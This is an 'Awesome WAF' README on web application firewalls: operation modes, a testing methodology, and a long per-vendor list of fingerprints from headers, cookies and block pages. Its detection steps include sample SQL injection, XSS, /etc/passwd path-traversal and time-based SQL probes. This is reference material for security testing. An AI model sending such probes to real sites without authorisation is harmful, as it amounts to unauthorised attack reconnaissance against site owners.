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Awesome WAF

Everything about web application firewalls (WAFs) from a security perspective. 🔥

Foreword: This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there.As the saying goes, "the community just learns from each other."

Main Logo

A Concise Definition: A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. (Source: PCI DSS IS 6.6)

A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it.

Feel free to contribute.

Contents:

Introduction:

How WAFs Work:

  • Using a set of rules to distinguish between normal requests and malicious requests.

  • Sometimes they use a learning mode to add rules automatically through learning about user behaviour.

Operation Modes:

  • Negative Model (Blacklist based) - A blacklisting model uses pre-set signatures to block requests that are clearly malicious. The signatures of WAFs operating in a negative model are specifically crafted to prevent attacks which exploit certain web application vulnerabilities. Blacklisting model web application firewalls are a great choice for web applications exposed to the public internet and are highly effective against major vulnerabilities. Eg. Rule for blocking all <script>*</script> inputs prevent basic cross-site scripting attacks.

  • Positive Model (Whitelist based) - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking potential large scale attacks, but will also block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.

  • Mixed/Hybrid Model (Inclusive model) - A hybrid security model blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. A good scenario can be when web-application is facing the public internet (use blacklists) while the admin panel needs to be exposed to only a subset of users (use whitelists).

Testing Methodology:

Where To Look:

  • Always look out for common ports that expose that a WAF, namely 80, 443, 8000, 8080 and 8888 ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs.

  • Some WAFs set their own cookies in requests (e.g. Citrix Netscaler, Yunsuo WAF).

  • Some associate themselves with separate headers (e.g. Anquanbao WAF, Amazon AWS WAF).

  • Some often alter headers and jumble characters to confuse attacker (e.g. Netscaler, Big-IP).

  • Some expose themselves in the Server header (e.g. Approach, WTS WAF).

  • Some WAFs expose themselves in the response content (e.g. DotDefender, Armor, Sitelock).

  • Other WAFs reply with unusual response codes upon malicious requests (e.g. WebKnight, 360 WAF).

Detection Techniques:

To identify WAFs, we need to (dummy) provoke it.

  1. Make a normal GET request from a browser, intercept and record response headers (specifically cookies).

  2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).

  3. Make GET requests to random open ports and grab banners which might expose the WAFs identity.

  4. On login pages, inject common (easily detectable) payloads like " or 1 = 1 --.

  5. Inject noisy payloads like <script>alert()</script> into search bars, contact forms and other input fields.

  6. Attach a dummy ../../../etc/passwd to a random parameter at end of URL.

  7. Append some catchy keywords like ' OR SLEEP(5) OR ' at end of URLs to any random parameter.

  8. Make GET requests with outdated protocols like HTTP/0.9 (HTTP/0.9 does not support POST type queries).

  9. Many a times, the WAF varies the Server header upon different types of interactions.

  10. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.

    Tip: This method could be easily achieved with tools like HPing3 or Scapy.

  11. Side Channel Attacks - Examine the timing behaviour of the request and response content.

    Tip: More details can be found in a blogpost here.

WAF Fingerprints

Wanna fingerprint WAFs? Lets see how.

NOTE: This section contains manual WAF detection techniques. You might want to switch over to next section.

WAF
Fingerprints

360

  • Detectability: Easy

  • Detection Methodology:

    • Returns status code 493 upon unusual requests.

    • Blockpage may contain reference to wzws-waf-cgi/ directory.

    • Blocked response page source may contain:

      • Reference to wangshan.360.cn URL.

      • Sorry! Your access has been intercepted because your links may threaten website security. text snippet.

    • Response headers may contain X-Powered-By-360WZB header.

    • Blocked response headers contain unique header WZWS-Ray.

    • Server header may contain value qianxin-waf.

aeSecure

  • Detectability: Moderate

  • Detection Methodology:

    • Blocked response content contains aesecure_denied.png image (view source to see).

    • Response headers contain aeSecure-code value.

Airlock

  • Detectability: Moderate/Difficult

  • Detection Methodology:

    • Set-Cookie headers may contain:

      • AL-SESS cookie field name (case insensitive).

      • AL-LB value (case insensitive).

    • Blocked response page contains:

      • Server detected a syntax error in your request text.

      • Check your request and all parameters text snippet.

AlertLogic

  • Detectability: Difficult

  • Detection Methodology:

    • Blocked response page contains:

      • We are sorry, but the page you are looking for cannot be found text snippet.

      • The page has either been removed, renamed or temporarily unavailable text.

      • 404 Not Found in red letters.

Aliyundun

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains:

      • Sorry, your request has been blocked as it may cause potential threats to the server's security text snippet.

      • Reference to errors.aliyun.com site URL.

    • Blocked response code returned is 405.

Anquanbao

  • Detectability: Easy

  • Detection Methodology:

    • Returns blocked HTTP response code 405 upon malicious requests.

    • Blocked response content may contain /aqb_cc/error/ or hidden_intercept_time.

    • Response headers contain X-Powered-by-Anquanbao header field.

Anyu

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response content contains Sorry! your access has been intercepted by AnYu

    • Blocked response page contains AnYu- the green channel text.

    • Response headers may contain unusual header WZWS-RAY.

Approach

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page content may contain:

      • Approach Web Application Firewall Framework heading.

      • Your IP address has been logged and this information could be used by authorities to track you. warning.

      • Sorry for the inconvenience! keyword.

      • Approach infrastructure team text snippet.

    • Server header has field value set to Approach.

Armor Defense

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response content contains:

      • This request has been blocked by website protection from Armor text.

      • If you manage this domain please create an Armor support ticket snippet.

ArvanCloud

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains ArvanCloud keyword.

ASPA

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains ASPA-WAF keyword.

    • Response contain unique header ASPA-Cache-Status with content HIT or MISS.

ASP.NET Generic

  • Detectability: Moderate

  • Detection Methodology:

    • Response headers may contain X-ASPNET-Version header value.

    • Blocked response page content may contain:

      • This generic 403 error means that the authenticated user is not authorized to use the requested resource.

      • Error Code 0x00000000< keyword.

    • X-Powered-By header has field value set to ASP.NET.

Astra

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page content may contain:

      • Sorry, this is not allowed. in h1.

      • our website protection system has detected an issue with your IP address and wont let you proceed any further text snippet.

      • Reference to www.getastra.com/assets/images/ URL.

    • Response cookies has field value cz_astra_csrf_cookie in response headers.

AWS ELB

  • Detectability: Moderate

  • Detection Methodology:

    • Response headers might contain:

      • AWSALB cookie field value.

      • X-AMZ-ID header.

      • X-AMZ-REQUEST-ID header.

    • Response page may contain:

      • Access Denied in their keyword.

      • Request token ID with length from 20 to 25 between RequestId tag.

    • Server header field contains awselb/2.0 value.

Baidu Yunjiasu

  • Detectability: Moderate

  • Detection Methodology:

    • Server header may contain Yunjiasu-nginx value.

    • Server header may contain Yunjiasu value.

Barikode

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page content contains:

      • BARIKODE keyword.

      • Forbidden Access text snippet in h1.

Barracuda

  • Detectability: Moderate

  • Detection Methodology:

    • Response cookies may contain barra_counter_session value.

    • Response headers may contain barracuda_ keyword.

  • Response page contains:

    • You have been blocked heading.

    • You are unable to access this website text.

Bekchy

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response headers contains Bekchy - Access Denied.

    • Blocked response page contains reference to https://bekchy.com/report.

BinarySec

  • Detectability: Moderate

  • Detection Methodology:

    • Response headers contain:

      • X-BinarySec-Via field.

      • X-BinarySec-NoCache field.

      • Server header contains BinarySec keyword.

BitNinja

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page may contain:

      • Security check by BitNinja text snippet.

      • your IP will be removed from BitNinja.

      • Visitor anti-robot validation text snippet.

      • (You will be challenged by a reCAPTCHA page) text.

BIG-IP ASM

  • Detectability: Moderate

  • Detection Methodology:

    • Response headers may contain BigIP or F5 keyword value.

    • Response header fields may contain X-WA-Info header.

    • Response headers might have jumbled X-Cnection field value.

BlockDos

  • Detectability: Moderate

  • Detection Methodology:

    • Server header contains value BlockDos.net.

Bluedon IST

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains BDWAF field value.

    • Blocked response page contains to Bluedon Web Application Firewall text snippet..

BulletProof Security Pro

  • Detectability: Moderate

  • Detection Methodology:

    • Blocked response page contains:

      • div with id as bpsMessage text snippet.

      • If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page. text snippet.

CDN NS Application Gateway

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains CdnNsWAF Application Gateway text snippet.

Cerber (WordPress)

  • Detectability: Difficult

  • Detection Methodology:

    • Blocked response page contains:

      • We're sorry, you are not allowed to proceed text snippet.

      • Your request looks suspicious or similar to automated requests from spam posting software warning.

Chaitin Safeline

  • Detectability: Difficult

  • Detection Methodology:

    • Blocked response page contains event_id keyword within HTML comments.

ChinaCache

  • Detectability: Easy

  • Detection Methodology:

    • Response headers contain Powered-by-ChinaCache field.

Cisco ACE XML Gateway

  • Detectability: Moderate

  • Detection Methodology:

    • Server header has value ACE XML Gateway set.

Cloudbric

  • Detectability: Moderate

  • Detection Methodology:

    • Response content contains:

      • Malicious Code Detected heading.

      • Your request was blocked by Cloudbric text snippet.

      • Reference to https://cloudbric.zendesk.com URL.

      • Cloudbric Help Center text.

      • Page title starting with Cloudbric | ERROR!.

Cloudflare

  • Detectability: Easy

  • Detection Methodology:

    • Response headers might have cf-ray field value.

    • Server header field has value cloudflare.

    • Set-Cookie response headers have __cfuid= cookie field.

    • Page content might have Attention Required! or Cloudflare Ray ID:.

    • Page content may contain DDoS protection by Cloudflareas text.

    • You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.

CloudfloorDNS

  • Detectability: Easy

  • Detection Methodology:

    • Server header field has value CloudfloorDNS WAF.

    • Block-page title might have CloudfloorDNS - Web Application Firewall Error.

    • Page content may contain www.cloudfloordns.com/contact URL as a contact link.

Cloudfront

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response content contains Generated by cloudfront (CloudFront) error upon malicious request.

Comodo cWatch

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains Protected by COMODO WAF value.

CrawlProtect

  • Detectability: Easy

  • Detection Methodology:

    • Response cookies might contain crawlprotect cookie name.

    • Block Page title has CrawlProtect keyword in it.

    • Blocked response content contains value This site is protected by CrawlProtect !!! upon malicious request.

Deny-All

  • Detectability: Difficult

  • Detection Methodology:

    • Response content contains value Condition Intercepted.

    • Set-Cookie header contains cookie field sessioncookie.

Distil Web Protection

  • Detectability: Easy

  • Detection Methodology:

    • Response headers contain field value X-Distil-CS in all requests.

    • Blocked response page contains:

      • Pardon Our Interruption... heading.

      • You have disabled javascript in your browser. text snippet.

      • Something about your browser made us think that you are a bot. text.

DoSArrest Internet Security

  • Detectability: Easy

  • Detection Methodology:

    • Response headers contain field value X-DIS-Request-ID.

    • Server header contains DOSarrest keyword.

DotDefender

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response content contains value dotDefender Blocked Your Request.

    • Blocked response headers contain X-dotDefender-denied field value.

DynamicWeb Injection Check

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response headers contain X-403-Status-By field with value dw-inj-check value.

e3Learning Security

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains e3Learning_WAF keyword.

EdgeCast (Verizon)

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response content contains value Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).

    • Blocked response code returns 400 Bad Request on malicious requests.

Eisoo Cloud

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page content may contain:

      • /eisoo-firewall-block.css reference.

      • www.eisoo.com URL.

      • © (year) Eisoo Inc. keyword.

    • Server header has field value set to EisooWAF-AZURE/EisooWAF.

Expression Engine

  • Detectability: Difficult

  • Detection Methodology:

    • Blocked response page returns Invalid URI generally.

    • Blocked response content contains value Invalid GET Request upon malicious GET queries.

    • Blocked POST type queries contain Invalid Data in response content.

F5 ASM

  • Detectability: Difficult

  • Detection Methodology:

    • Blocked response content contains warning The requested URL was rejected. Please consult with your administrator.

FortiWeb

  • Detectability: Moderate

  • Detection Methodology:

    • Response headers contain FORTIWAFSID= on malicious requests.

    • Blocked response page contains:

      • Reference to .fgd_icon image icon.

      • Server Unavailable! as heading.

      • Server unavailable. Please visit later. as text.

GoDaddy

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains value Access Denied - GoDaddy Website Firewall.

GreyWizard

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains:

      • Grey Wizard as title.

      • Contact the website owner or Grey Wizard text snippet.

      • We've detected attempted attack or non standard traffic from your IP address text snippet.

    • Server header contain greywizard keyword.

Huawei Cloud

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains:

      • Reference to account.hwclouds.com/static/error/images/404img.jpg error image.

      • Reference to www.hwclouds.com URL.

      • Reference to hws_security@{site.tld} e-mail for reporting.

HyperGuard

  • Detectability: Difficult

  • Detection Methodology:

    • Set-Cookie header has cookie field ODSESSION= in response headers.

IBM DataPower

  • Detectability: Difficult

  • Detection Methodology:

    • Response headers contains field value value X-Backside-Transport with value OK or FAIL.

Imperva Incapsula

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page content may contain:

      • Powered By Incapsula text snippet.

      • Incapsula incident ID keyword.

      • _Incapsula_Resource keyword.

      • subject=WAF Block Page keyword.

    • Normal GET request headers contain visid_incap value.

    • Response headers may contain X-Iinfo header field name.

    • Set-Cookie header has cookie field incap_ses and visid_incap.

Imunify360

  • Detectability: Easy

  • Detection Methodology:

    • Server header contain imunify360-webshield keyword.

    • Response page contains:

      • Powered by Imunify360 text snippet.

      • imunify360 preloader if response type is JSON.

    • Blocked response page contains protected by Imunify360 text.

IndusGuard

  • Detectability: Moderate

  • Detection Methodology:

    • Server header contains value IF_WAF.

    • Blocked response content contains warning further investigation and remediation with a screenshot of this page.

    • Response headers contain a unique header X-Version.

Instart DX

  • Detectability: Easy

  • Detection Methodology:

    • Response headers contain X-Instart-Request-ID unique header.

    • Response headers contain X-Instart-WL unique header fingerprint.

    • Response headers contain X-Instart-Cache unique header fingerprint.

    • Blocked response page contains The requested URL was rejected. Please consult with your administrator. text.

ISA Server

  • Detectability: Difficult

  • Detection Methodology:

    • Response page contains:

      • The ISA Server denied the specified Uniform Resource Locator (URL) text snippet.

      • The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. text snippet

Janusec Application Gateway

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page has image displaying JANUSEC name and logo.

    • Blocked response page displays Janusec Application Gateway on malicious requests.

Jiasule

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains reference to static.jiasule.com/static/js/http_error.js URL.

    • Set-Cookie header has cookie field __jsluid= or jsl_trackingin response headers.

    • Server header has jiasule-WAF keywords.

    • Blocked response content has notice-jiasule keyword.

KeyCDN

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains KeyCDN keyword.

KnownSec

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page displays ks-waf-error.png image (view source to see).

KONA Site Defender (Akamai)

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains AkamaiGHost keyword.

LiteSpeed

  • Detectability: Easy

  • Detection Methodology:

    • Server header has value set to LiteSpeed.

    • Response page contains:

      • Proudly powered by LiteSpeed Web Server text.

      • Reference to http://www.litespeedtech.com/error-page

      • Access to resource on this server is denied.

Malcare

  • Detectability: Moderate

  • Detection Methodology:

    • Blocked response page may contains:

      • Blocked because of Malicious Activities text snippet.

      • Firewall powered by MalCare text snippet.

MissionControl Application Shield

  • Detectability: Easy

  • Detection Methodology:

    • Server header field contains Mission Control Application Shield value.

ModSecurity

  • Detectability: Moderate/Difficult

  • Detection Methodology:

    • Blocked response page contains:

      • This error was generated by Mod_Security text snippet.

      • One or more things in your request were suspicious text snippet.

      • rules of the mod_security module text snippet.

      • mod_security rules triggered text snippet.

      • Reference to /modsecurity-errorpage/ directory.

    • Server header may contain Mod_Security or NYOB keywords.

    • Sometimes, the response code to an attack is 403 while the response phrase is ModSecurity Action.

ModSecurity CRS

  • Detectability: Difficult

  • Detection Methodology:

    • Blockpage occurs on adding a separate request header X-Scanner when set to a particular paranoa level.

NAXSI

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains This Request Has Been Blocked By NAXSI.

    • Response headers contain unusual field X-Data-Origin with value naxsi/waf keyword.

    • Server header contains naxsi/waf keyword value.

    • Blocked response page may contain NAXSI blocked information error code.

Nemesida

  • Detectability: Difficult

  • Detection Methodology:

    • Blocked response page contains Suspicious activity detected. Access to the site is blocked..

    • Contains reference to email nwaf@{site.tld}

Netcontinuum

  • Detectability: Moderate

  • Detection Methodology:

    • Session cookies contain NCI__SessionId= cookie field name.

NetScaler AppFirewall

  • Detectability: Moderate

  • Detection Methodology:

    • Response headers may contain

      • Connection: header field name jumbled to nnCoection:

      • ns_af= cookie field name.

      • citrix_ns_id field name.

      • NSC_ keyword.

      • NS-CACHE field value.

NevisProxy

  • Detectability: Moderate

  • Detection Methodology:

    • Response header cookies contain Navajo keyword.

NewDefend

  • Detectability: Easy

  • Detection Methodology:

    • Response page contains:

      • Reference to http://www.newdefend.com/feedback/misinformation/ URL.

      • Reference to /nd_block/ directory.

    • Server header contains NewDefend keyword.

Nexusguard

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page has reference to speresources.nexusguard.com/wafpage/index.html URL.

NinjaFirewall

  • Detectability: Moderate

  • Detection Methodology:

    • Response page title contains NinjaFirewall: 403 Forbidden.

    • Response page contains:

      • For security reasons, it was blocked and logged text snippet.

      • NinjaFirewall keyword in title.

    • Returns a 403 Forbidden response upon malicious requests.

NSFocus

  • Detectability: Easy

  • Detection Methodology:

    • Server header contain NSFocus keyword.

NullDDoS

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains the NullDDoS System keyword.

onMessage Shield

  • Detectability: Easy

  • Detection Methodology:

    • Response headers contain header X-Engine field with value onMessage Shield.

    • Blocked response page contains:

      • Blackbaud K-12 conducts routine maintenance keyword.

      • This site is protected by an enhanced security system.

      • Reference to https://status.blackbaud.com URL.

      • Reference to https://maintenance.blackbaud.com URL.

OpenResty Lua WAF

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains openresty/{version} keyword.

    • Blocked response page contains openresty/{version} text.

    • Blocked response code returned is 406 Not Acceptable.

Palo Alto

  • Detectability: Moderate

  • Detection Methodology:

    • Blocked response page contains Virus/Spyware Download Blocked.

    • Response page might contain Palo Alto Next Generation Security Platform text snippet.

PentaWAF

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains PentaWAF/{version} keyword.

    • Blocked response page contains text PentaWAF/{version}.

PerimeterX

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains reference to https://www.perimeterx.com/whywasiblocked URL.

pkSecurityModule IDS

  • Detectability: Moderate

  • Detection Methodology:

    • Response content may contain

      • pkSecurityModule: Security.Alert.

      • A safety critical request was discovered and blocked text snippet.

Positive Technologies Application Firewall

  • Detectability: Difficult

  • Detection Methodology:

    • Blocked response page contains Forbidden in h1 followed by:

    • Request ID: in format yyyy-mm-dd-hh-mm-ss-{ref. code}

PowerCDN

  • Detectability: Moderate

  • Detection Methodology:

    • Response headers may contain

      • Via header with content powercdn.com.

      • X-Cache header with content powercdn.com.

      • X-CDN header with content PowerCDN.

Profense

  • Detectability: Easy

  • Detection Methodology:

    • Set-Cookie headers contain PLBSID= cookie field name.

    • Server header contain Profense keyword.

Proventia (IBM)

  • Detectability: Difficult

  • Detection Methodology:

    • Blocked response page might contain to request does not match Proventia rules text snippet.

Puhui

  • Detectability: Easy

  • Detection Methodology:

    • Server header contain PuhuiWAF keyword.

Qiniu CDN

  • Detectability: Easy

  • Detection Methodology:

    • Response content may contain

      • Response headers contain unusual header X-Qiniu-CDN with value set to either 0 or 1.

Radware Appwall

  • Detectability: Moderate

  • Detection Methodology:

    • Response page contains the following text snippet: Unauthorized Activity Has Been Detected. and Case Number

    • Blocked response page has reference to radwarealerting@{site.tld} email.

    • Blocked response page has title set to Unauthorized Request Blocked.

    • Response headers may contain X-SL-CompState header field name.

Reblaze

  • Detectability: Moderate

  • Detection Methodology:

    • Cookies in response headers contain rbzid= header field name.

    • Server field value might contain Reblaze Secure Web Gateway text snippet.

    • Response page contains:

      • Access Denied (403) in bold.

      • Current session has been terminated text.

      • For further information, do not hesitate to contact us.

Request Validation Mode

  • Detectability: Easy

  • Detection Methodology:

    • A firewall found specifically on ASP.NET websites and none others.

    • Response page contains either of the following text snippet:

      • ASP.NET has detected data in the request that is potentially dangerous.

      • Request Validation has detected a potentially dangerous client input value.

      • HttpRequestValidationException.

    • Blocked response code returned is always 500 Internal Error.

RSFirewall

  • Detectability: Easy

  • Detection Methodology:

    • Response page contains:

      • COM_RSFIREWALL_403_FORBIDDEN keyword.

      • COM_RSFIREWALL_EVENT keyword.

Sabre

  • Detectability: Easy

  • Detection Methodology:

    • Returns status code 500 Internal Error upon malicious requests.

    • Response content has:

      • Contact email dxsupport@sabre.com.

      • Your request has been blocked bold warning.

      • clicking the above email link will automatically add some important details to the email for us to investigate the problem text snippet.

Safe3

  • Detectability: Easy

  • Detection Methodology:

    • Response headers contain:

      • X-Powered-By header has field value Safe3WAF.

      • Server header contains field value set to Safe3 Web Firewall.

    • Response page contains Safe3waf keyword.

SafeDog

  • Detectability: Easy/Moderate

  • Detection Methodology:

    • Server header in response may contain:

      • WAF/2.0 keyword.

      • safedog field value.

SecKing

  • Detectability: Easy/Moderate

  • Detection Methodology:

    • Server header in response may contain:

      • SECKINGWAF keyword.

      • SECKING/{version} field value.

SecuPress

  • Detectability: Easy

  • Detection Methodology:

    • Response content may contain:

      • SecuPress as text.

      • Block ID: Bad URL Contents as text.

    • Response code returned is 503 Service Unavailable.

Secure Entry

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains value set to Secure Entry Server.

SecureIIS

  • Detectability: Easy

  • Detection Methodology:

    • Response page contains either of the following text snippet:

      • Image displaying beyondtrust logo.

      • Download SecureIIS Personal Edition

      • Reference to http://www.eeye.com/SecureIIS/ URL.

      • SecureIIS Error text snippet.

SecureSphere

  • Detectability: Difficult

  • Detection Methodology:

    • Response page contains the following text snippet:

      • Error in h2 text.

      • Title contains only text as Error.

      • Contact support for additional information. text.

SEnginx

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains SENGINX-ROBOT-MITIGATION keyword.

ServerDefender VP

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response contains X-Pint header field with p80 keyword.

Shadow Daemon

  • Detectability: Difficult

  • Detection Methodology:

    • Blocked response page contains request forbidden by administrative rules. keyword.

ShieldSecurity

  • Detectability: Difficult

  • Detection Methodology:

    • Blocked response page contains:

      • You were blocked by the Shield. text.

      • Something in the URL, Form or Cookie data wasn't appropriate text snippet.

      • Warning: You have {number} remaining transgression(s) against this site.

      • Seriously stop repeating what you are doing or you will be locked out.

SiteGround

  • Detectability: Difficult

  • Detection Methodology:

    • Blocked response page contains The page you are trying to access is restricted due to a security rule text snippet.

SiteGuard (JP Secure)

  • Detectability: Difficult

  • Detection Methodology:

    • Response page contains:

      • Powered by SiteGuard text snippet.

      • The server refuse to browse the page. text snippet.

      • The URL may not be correct. Please confirm the value.

SiteLock TrueShield

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page source contains the following:

      • Reference to www.sitelock.com URL.

      • Sitelock is leader in Business Website Security Services. text.

      • sitelock-site-verification keyword.

      • sitelock_shield_logo image.

SonicWall

  • Detectability: Easy

  • Detection Methodology:

    • Server header contain SonicWALL keyword value.

    • Blocked response page contains either of the following text snippet:

      • Image displaying Dell logo.

      • This request is blocked by the SonicWALL.

      • Web Site Blocked text snippet.

      • nsa_banner as keyword. :p

Sophos UTM

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains Powered by UTM Web Protection keyword.

SquareSpace

  • Detectability: Difficult

  • Detection Methodology:

    • Response code returned is 404 Not Found upon malicious requests.

    • Blocked response page contains either of the following text snippet:

      • BRICK-50 keyword.

      • 404 Not Found text snippet.

SquidProxy IDS

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains field value squid/{version}.

    • Blocked response page contains Access control configuration prevents your request from being allowed at this time..

StackPath

  • Detectability: Easy

  • Detection Methodology:

    • Contains image displaying StackPath logo.

    • Blocked response page contains You performed an action that triggered the service and blocked your request.

Stingray

  • Detectability: Difficult

  • Detection Methodology:

    • Blocked response code returns 403 Forbidden or 500 Internal Error.

    • Response headers contain the X-Mapping header field name.

Sucuri CloudProxy

  • Detectability: Easy

  • Detection Methodology:

    • Response headers may contain Sucuri or Cloudproxy keywords.

    • Blocked response page contains the following text snippet:

      • Access Denied - Sucuri Website Firewall text.

      • Reference to https://sucuri.net/privacy-policy URL.

      • Sometimes the email cloudproxy@sucuri.net.

      • Contains copyright notice ;copy {year} Sucuri Inc.

    • Response headers contains X-Sucuri-ID header along with normal requests.

Synology Cloud

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page has Copyright (c) 2019 Synology Inc. All rights reserved.as text.

Tencent Cloud

  • Detectability: Moderate

  • Detection Methodology:

    • Blocked response code returns 405 Method Not Allowed error.

    • Blocked response page contains reference to waf.tencent-cloud.com URL.

Teros

  • Detectability: Difficult

  • Detection Methodology:

    • Response headers contain cookie field st8id.

TrafficShield

  • Detectability: Moderate

  • Detection Methodology:

    • Server might contain F5-TrafficShield keyword.

    • ASINFO= value might be detected in response cookies.

TransIP

  • Detectability: Easy

  • Detection Methodology:

    • Response headers contain unique header X-TransIP-Backend.

    • Response headers contain another header X-TransIP-Balancer.

UCloud UEWaf

  • Detectability: Easy

  • Detection Methodology:

    • Response content might contain:

      • Reference to /uewaf_deny_pages/default/img/ inurl directory.

      • ucloud.cn URL.

    • Response headers returned has Server header set to uewaf/{version}.

URLMaster SecurityCheck

  • Detectability: Moderate

  • Detection Methodology:

    • Response headers might contain:

      • UrlMaster keyword.

      • UrlRewriteModule keyword.

      • SecurityCheck keyword.

    • Blocked response code returned is 400 Bad Request text snippet.

URLScan

  • Detectability: Moderate

  • Detection Methodology:

    • Blocked response page contains:

      • Rejected-by-URLScan text snippet.

      • Server Erro in Application as heading.

      • Module: IIS Web Core in table.

USP Secure Entry

  • Detectability: Moderate

  • Detection Methodology:

    • Response headers contain Secure Entry Server field value.

Varnish (OWASP)

  • Detectability: Easy

  • Detection Methodology:

    • Malicious request returns 404 Not Found Error.

    • Response page contains:

      • Request rejected by xVarnish-WAF text snippet.

Varnish CacheWall

  • Detectability: Easy

  • Detection Methodology:

    • Response page contains:

      • Error 403 Naughty, not Nice! as heading.

      • Varnish cache Server as text.

Viettel

  • Detectability: Easy

  • Detection Methodology:

    • Response page contains:

      • Block page has title set to Access denied · Viettel WAF.

      • Reference to https://cloudrity.com.vn/ URL.

      • Response page contains keywords Viettel WAF system.

      • Contact information reference to https://cloudrity.com.vn/customer/#/contact URL.

VirusDie

  • Detectability: Easy

  • Detection Methodology:

    • Response page contains:

      • http://cdn.virusdie.ru/splash/firewallstop.png picture.

      • copy; Virusdie.rucopyright notice.

      • Response page title contains Virusdie keyword.

      • Page metadata contains name="FW_BLOCK" keyword

WallArm

  • Detectability: Moderate

  • Detection Methodology:

    • Server headers contain nginx-wallarm value.

WatchGuard IPS

  • Detectability: Easy

  • Detection Methodology:

    • Server headers may contain WatchGuard field value.

    • Blocked response page contains:

      • Request denied by WatchGuard Firewall text.

      • WatchGuard Technologies Inc. as footer.

WebARX Security

  • Detectability: Easy

  • Detection Methodology:

    • Restricted to specifically WordPress sites only.

    • Blocked response page contains:

      • This request has been blocked by WebARX Web Application Firewall text.

      • Reference to /wp-content/plugins/webarx/ directory where it is installed.

WebKnight

  • Detectability: Easy

  • Detection Methodology:

    • Response headers contain WebKnight keyword.

    • Blocked response page contains:

      • WebKnight Application Firewall Alert text warning.

      • AQTRONIX WebKnight text snippet.

    • Blocked response code returned is 999 No Hacking. :p

    • Blocked response code returned is also 404 Hack Not Found. :p

WebLand

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains Apache Protected By WebLand WAF keyword.

WebRay

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains WebRay-WAF keyword.

    • Response headers may have DrivedBy field with value RaySrv RayEng/{version}.

WebSEAL

  • Detectability: Easy

  • Detection Methodology:

    • Server header contain WebSEAL keyword.

    • Blocked response page contains:

      • This is a WebSEAL error message template file text.

      • WebSEAL server received an invalid HTTP request text snippet.

WebTotem

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains The current request was blocked by WebTotem.

West263CDN

  • Detectability: Easy

  • Detection Methodology:

    • Response headers contain X-Cache header field with WT263CDN value.

Wordfence

  • Detectability: Easy

  • Detection Methodology:

    • Response headers contain WebKnight keyword.

    • Blocked response page contains:

      • Generated by Wordfence text snippet.

      • A potentially unsafe operation has been detected in your request to this site text warning.

      • Your access to this site has been limited text warning.

      • This response was generated by Wordfence text snippet.

WTS-WAF

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page title has WTS-WAF keyword.

    • Server header contains wts as value.

XLabs Security WAF

  • Detectability: Easy

  • Detection Methodology:

    • Response headers contain X-CDN header field with XLabs Security value.

Xuanwudun WAF

  • Detectability: Easy

  • Detection Methodology:

    • Blocked response page contains reference to http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ site URL.

Yunaq Chuangyu

  • Detectability: Moderate

  • Detection Methodology:

    • Response page has reference to:

      • 365cyd.com or 365cyd.net URL.

      • Reference to help page at http://help.365cyd.com/cyd-error-help.html?code=403.

Yundun

  • Detectability: Easy

  • Detection Methodology:

    • Server header contains YUNDUN as value.

